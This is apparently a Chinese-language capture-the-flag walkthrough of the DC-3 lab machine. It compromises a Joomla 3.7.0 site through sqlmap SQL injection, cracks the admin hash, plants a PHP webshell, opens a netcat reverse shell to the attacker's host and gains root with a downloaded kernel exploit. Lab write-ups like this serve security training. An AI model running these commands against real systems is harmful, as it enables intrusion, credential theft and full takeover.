前言
好久没打靶场了,最近也在加深学习渗透,重温一下知识点。
一、确定靶场地址
1、查看靶机mac地址
2、kali使用nmap,arp-scan工具扫描
nmap -sn 172.16.100.0/24
arp-scan 172.16.100.0/24
IP地址为172.16.100.222
二、信息收集
1、nmap探测开放端口及服务
nmap -sT -sV -A -p- --min-rate 2000 172.16.100.222
发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla
2、dirsearch,dirb,nikto,御剑等扫描目录
dirsearch -u http://172.16.100.222
dirb http://172.16.100.222
nikto --url http://172.16.100.222
3、利用JoomScan进行扫描获取后台地址
joomscan --url http://172.16.100.222
通过以上信息收集:
知道了joomla cms版本为:3.7.0
得到了网站后台地址:http://172.16.100.222/administrator/
三、寻找漏洞
我们前面知道了CMS为joomla,版本为3.7.0,使用searchsploit检查是否有对应的漏洞
searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
我们可以看一下这个漏洞的提示信息
Kali的exploits路径为/usr/share/exploitdb/exploits
Joomla3.7.0 exp信息路径为php/webapps/42033.txt
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
看到可以用sqlmap,使用sqlmap跑数据
sqlmap -u "http://172.16.100.222/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
可以看到有一个名为joomladb的数据库,我们尝试去获取这里面的信息
sqlmap -u "http://172.16.100.222/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
sqlmap -u "http://172.16.100.222/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D "joomladb" -T "#__users" --columns
sqlmap -u "http://172.16.100.222/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump
看到密码为hash值,使用john工具爆破
john ./test/password.txt
john --show ./test/password.txt
利用获取到的账号密码进行登录
http://172.16.100.222/administrator/
admin/snoopy
登录成功
他告诉我们这次DC-3实战只有一个目标获得root权限
四、上传木马
发现一个上传点
点击Beez3 Details and Files进入,点击newfiles,这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑。
要上传木马,我们先要找到当前文件所在的目录:
http://172.16.100.222/templates/beez3/html/
这里找目录我们可以先随意上传一个图片,会提示路径信息
结合之前扫描目录的信息尝试找到路径
接着上传正式的一句话木马
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做muma
蚁剑连接webshell
查询用户权限
是www-data用户权限,后续就需要反弹shell并提权了
五、反弹shell
蚁剑看到的终端不如kali清晰,反弹一个shell到kali
nc -lvvp 8088 //kali监听端口
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.100.220 8088 >/tmp/f //反弹shell
python3 -c 'import pty;pty.spawn("/bin/bash")' //交互式shell
六、提权
使用辅助脚本发现提权漏洞
下载地址:https://github.com/mzet-/linux-exploit-suggester
添加执行权限
chmod +x linux-exploit-suggester.sh
执行脚本,发现漏洞
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
此处也可以查看靶机内核版本寻找提权方式
uname -a
lsb_release -a
查询到目标靶机对应版本为 Ubuntu 16.04
我们使用searchsploit查询是否有这个版本的漏洞
searchsploit Ubuntu 16.04
查看文件下载exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
由于在靶机不能直接下载到exp,我们可以先下载到kali,然后搭建个http服务让靶机下载即可;也可以下载了,通过蚁剑上传
通过搭建http服务使靶机下载:
python3 -m http.server 80
wget http://172.16.100.220/39772.zip
下载成功
解压39772.zip文件
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh //执行脚本,编译文件
./doubleput.c //执行提权文件
./doubleput
成功提权至root
七、获取flag
在root目录下
至此靶场渗透结束!